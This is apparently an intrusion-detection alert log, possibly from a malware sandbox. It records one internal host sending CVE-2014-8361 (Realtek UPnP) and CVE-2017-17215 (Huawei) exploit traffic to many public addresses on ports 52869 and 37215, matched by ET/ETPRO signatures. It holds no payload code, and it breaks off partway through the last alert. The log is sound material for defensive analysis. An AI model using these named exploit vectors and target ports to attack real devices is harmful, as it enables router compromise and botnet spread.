ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.112.16.238

Timestamp:	07/20/24-23:01:08.619597
SID:	2027339
Source Port:	40584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 175.222.36.60

Timestamp:	07/20/24-23:01:41.290281
SID:	2025132
Source Port:	35222
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 59.163.139.170

Timestamp:	07/20/24-23:01:07.114267
SID:	2835222
Source Port:	41674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.117.171.160

Timestamp:	07/20/24-23:02:17.269055
SID:	2027339
Source Port:	51420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.95.169.228

Timestamp:	07/20/24-23:01:00.633389
SID:	2829579
Source Port:	41340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.126.215.99

Timestamp:	07/20/24-23:01:07.016889
SID:	2829579
Source Port:	40534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.170.56.215

Timestamp:	07/20/24-23:01:31.976795
SID:	2829579
Source Port:	53102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 79.246.175.175

Timestamp:	07/20/24-23:01:40.286738
SID:	2829579
Source Port:	51646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.142.6.246

Timestamp:	07/20/24-23:01:03.975418
SID:	2829579
Source Port:	41700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 173.144.227.253

Timestamp:	07/20/24-23:01:43.210798
SID:	2831300
Source Port:	46472
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.84.55.247

Timestamp:	07/20/24-23:01:47.902509
SID:	2027339
Source Port:	49078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.160.117.109

Timestamp:	07/20/24-23:00:59.157444
SID:	2829579
Source Port:	48482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.104.12.239

Timestamp:	07/20/24-23:01:04.098909
SID:	2829579
Source Port:	36510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.58.20.251

Timestamp:	07/20/24-23:01:20.096752
SID:	2835222
Source Port:	59428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.88.70.103

Timestamp:	07/20/24-23:01:44.452219
SID:	2025132
Source Port:	48536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.194.155.21

Timestamp:	07/20/24-23:01:47.906061
SID:	2027339
Source Port:	34986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.213.237.39

Timestamp:	07/20/24-23:01:10.501913
SID:	2027339
Source Port:	55566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.81.177.106

Timestamp:	07/20/24-23:01:06.990535
SID:	2829579
Source Port:	45656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.211.193.35

Timestamp:	07/20/24-23:01:41.534135
SID:	2027339
Source Port:	46008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.34.203.66

Timestamp:	07/20/24-23:01:34.050313
SID:	2829579
Source Port:	49962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.130.195.101

Timestamp:	07/20/24-23:01:43.977046
SID:	2027339
Source Port:	58520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.207.12.33

Timestamp:	07/20/24-23:01:40.291616
SID:	2829579
Source Port:	49718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 209.77.38.74

Timestamp:	07/20/24-23:01:04.040812
SID:	2829579
Source Port:	51258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.38.220.62

Timestamp:	07/20/24-23:01:42.142802
SID:	2027339
Source Port:	39466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.183.167.212

Timestamp:	07/20/24-23:01:05.007557
SID:	2025132
Source Port:	54884
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.33.43.162

Timestamp:	07/20/24-23:01:41.882275
SID:	2027339
Source Port:	46336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.193.24.191

Timestamp:	07/20/24-23:01:47.403768
SID:	2027339
Source Port:	58964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 165.21.238.229

Timestamp:	07/20/24-23:01:42.611005
SID:	2831300
Source Port:	56342
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.195.164.122

Timestamp:	07/20/24-23:01:02.048214
SID:	2829579
Source Port:	49516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.7.27.198

Timestamp:	07/20/24-23:01:31.983105
SID:	2835222
Source Port:	55394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.113.255.232

Timestamp:	07/20/24-23:01:44.355606
SID:	2027339
Source Port:	38094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 14.40.33.153

Timestamp:	07/20/24-23:02:08.781934
SID:	2025132
Source Port:	42460
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 169.56.210.25

Timestamp:	07/20/24-23:01:04.113037
SID:	2835222
Source Port:	47014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 203.82.68.43

Timestamp:	07/20/24-23:01:40.321300
SID:	2835222
Source Port:	58234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.214.91.137

Timestamp:	07/20/24-23:01:01.171532
SID:	2027339
Source Port:	38296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 180.49.147.96

Timestamp:	07/20/24-23:01:44.624686
SID:	2831300
Source Port:	45650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.137.226.148

Timestamp:	07/20/24-23:01:41.229799
SID:	2027339
Source Port:	36008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.37.83.56

Timestamp:	07/20/24-23:01:41.605496
SID:	2027339
Source Port:	44080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.252.90.201

Timestamp:	07/20/24-23:00:59.163619
SID:	2835222
Source Port:	43154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.40.31.82

Timestamp:	07/20/24-23:01:07.082045
SID:	2829579
Source Port:	60840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.199.165.178

Timestamp:	07/20/24-23:01:45.118041
SID:	2025132
Source Port:	51140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 113.91.253.130

Timestamp:	07/20/24-23:01:40.294677
SID:	2835222
Source Port:	48012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.84.107.116

Timestamp:	07/20/24-23:01:44.311969
SID:	2027339
Source Port:	44292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.76.21.211

Timestamp:	07/20/24-23:01:42.772926
SID:	2027339
Source Port:	56254
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 9.190.28.75

Timestamp:	07/20/24-23:01:01.484620
SID:	2025132
Source Port:	41228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.65.169.99

Timestamp:	07/20/24-23:01:40.310207
SID:	2835222
Source Port:	56386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.137.22.219

Timestamp:	07/20/24-23:01:47.042994
SID:	2027339
Source Port:	49708
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.121.63

Timestamp:	07/20/24-23:01:24.876750
SID:	2829579
Source Port:	60380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.65.191.23

Timestamp:	07/20/24-23:01:43.475010
SID:	2027339
Source Port:	39358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.225.243.103

Timestamp:	07/20/24-23:01:52.878047
SID:	2027339
Source Port:	43212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.194.139.225

Timestamp:	07/20/24-23:01:44.660927
SID:	2027339
Source Port:	46228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 86.51.174.240

Timestamp:	07/20/24-23:01:49.138222
SID:	2831300
Source Port:	50114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 52.64.207.91

Timestamp:	07/20/24-23:01:41.290281
SID:	2025132
Source Port:	60796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 103.0.203.61

Timestamp:	07/20/24-23:01:47.921416
SID:	2831300
Source Port:	45906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.154.71.43

Timestamp:	07/20/24-23:01:13.811792
SID:	2027339
Source Port:	37034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.25.106.26

Timestamp:	07/20/24-23:01:04.053605
SID:	2835222
Source Port:	57400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.124.32.18

Timestamp:	07/20/24-23:01:42.699598
SID:	2027339
Source Port:	45996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.98.109.246

Timestamp:	07/20/24-23:01:31.976795
SID:	2835222
Source Port:	39016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.245.168.107

Timestamp:	07/20/24-23:01:20.098209
SID:	2829579
Source Port:	38716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 64.44.223.6

Timestamp:	07/20/24-23:01:56.327422
SID:	2025132
Source Port:	52236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.66.178.116

Timestamp:	07/20/24-23:02:07.236630
SID:	2027339
Source Port:	51288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.211.204.245

Timestamp:	07/20/24-23:01:26.014513
SID:	2027339
Source Port:	59542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.41.115.0

Timestamp:	07/20/24-23:01:02.076414
SID:	2835222
Source Port:	58904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 146.240.47.167

Timestamp:	07/20/24-23:01:32.028836
SID:	2829579
Source Port:	48510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.124.141.209

Timestamp:	07/20/24-23:01:46.340763
SID:	2027339
Source Port:	53506
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.154.207.41

Timestamp:	07/20/24-23:01:53.335084
SID:	2027339
Source Port:	57196
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.187.129.147

Timestamp:	07/20/24-23:01:55.262010
SID:	2027339
Source Port:	38122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.104.194.85

Timestamp:	07/20/24-23:01:47.042994
SID:	2025132
Source Port:	44160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.77.58.220

Timestamp:	07/20/24-23:01:01.881568
SID:	2027339
Source Port:	35860
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.175.141.244

Timestamp:	07/20/24-23:01:54.310738
SID:	2027339
Source Port:	48768
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.3.4.242

Timestamp:	07/20/24-23:01:47.297941
SID:	2025132
Source Port:	58120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 211.143.251.133

Timestamp:	07/20/24-23:02:22.907274
SID:	2831300
Source Port:	36456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.164.160.245

Timestamp:	07/20/24-23:01:24.898476
SID:	2835222
Source Port:	33326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.42.253.1

Timestamp:	07/20/24-23:01:27.679304
SID:	2829579
Source Port:	56008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.92.179.211

Timestamp:	07/20/24-23:01:03.165362
SID:	2025132
Source Port:	60300
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 133.83.21.166

Timestamp:	07/20/24-23:01:45.622888
SID:	2831300
Source Port:	53192
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 83.238.5.172

Timestamp:	07/20/24-23:01:53.281781
SID:	2027339
Source Port:	34146
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.249.169.230

Timestamp:	07/20/24-23:01:44.954688
SID:	2027339
Source Port:	50170
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.103.41.145

Timestamp:	07/20/24-23:01:51.063023
SID:	2027339
Source Port:	51810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.161.202.23

Timestamp:	07/20/24-23:01:31.991548
SID:	2829579
Source Port:	49102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.229.191

Timestamp:	07/20/24-23:01:40.334452
SID:	2829579
Source Port:	38912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.150.2.45

Timestamp:	07/20/24-23:01:41.366269
SID:	2027339
Source Port:	59642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.173.89.17

Timestamp:	07/20/24-23:01:41.372363
SID:	2025132
Source Port:	60180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.166.141.245

Timestamp:	07/20/24-23:00:57.221132
SID:	2829579
Source Port:	49188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.162.162.31

Timestamp:	07/20/24-23:01:08.677485
SID:	2027339
Source Port:	32882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.170.62.168

Timestamp:	07/20/24-23:01:45.109699
SID:	2027339
Source Port:	40610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.144.175.34

Timestamp:	07/20/24-23:01:20.150638
SID:	2835222
Source Port:	44054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 121.166.138.14

Timestamp:	07/20/24-23:01:31.333071
SID:	2831300
Source Port:	34288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 140.59.54.38

Timestamp:	07/20/24-23:01:43.030153
SID:	2025132
Source Port:	35806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.182.103.28

Timestamp:	07/20/24-23:01:12.861753
SID:	2027339
Source Port:	60648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.200.138.62

Timestamp:	07/20/24-23:01:31.329969
SID:	2027339
Source Port:	39478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 119.211.191.173

Timestamp:	07/20/24-23:01:44.005947
SID:	2831300
Source Port:	56014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.224.182.83

Timestamp:	07/20/24-23:00:57.222080
SID:	2829579
Source Port:	46562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.143.99.221

Timestamp:	07/20/24-23:01:06.989167
SID:	2835222
Source Port:	46360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 90.115.47.151

Timestamp:	07/20/24-23:01:02.048113
SID:	2835222
Source Port:	55316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 111.178.38.86

Timestamp:	07/20/24-23:01:11.630703
SID:	2835222
Source Port:	33210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.158.63.237

Timestamp:	07/20/24-23:01:49.809920
SID:	2831300
Source Port:	60818
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.238.188.119

Timestamp:	07/20/24-23:01:14.105395
SID:	2829579
Source Port:	45350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.236.184.127

Timestamp:	07/20/24-23:01:54.914948
SID:	2027339
Source Port:	54606
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.175.188.159

Timestamp:	07/20/24-23:01:52.838688
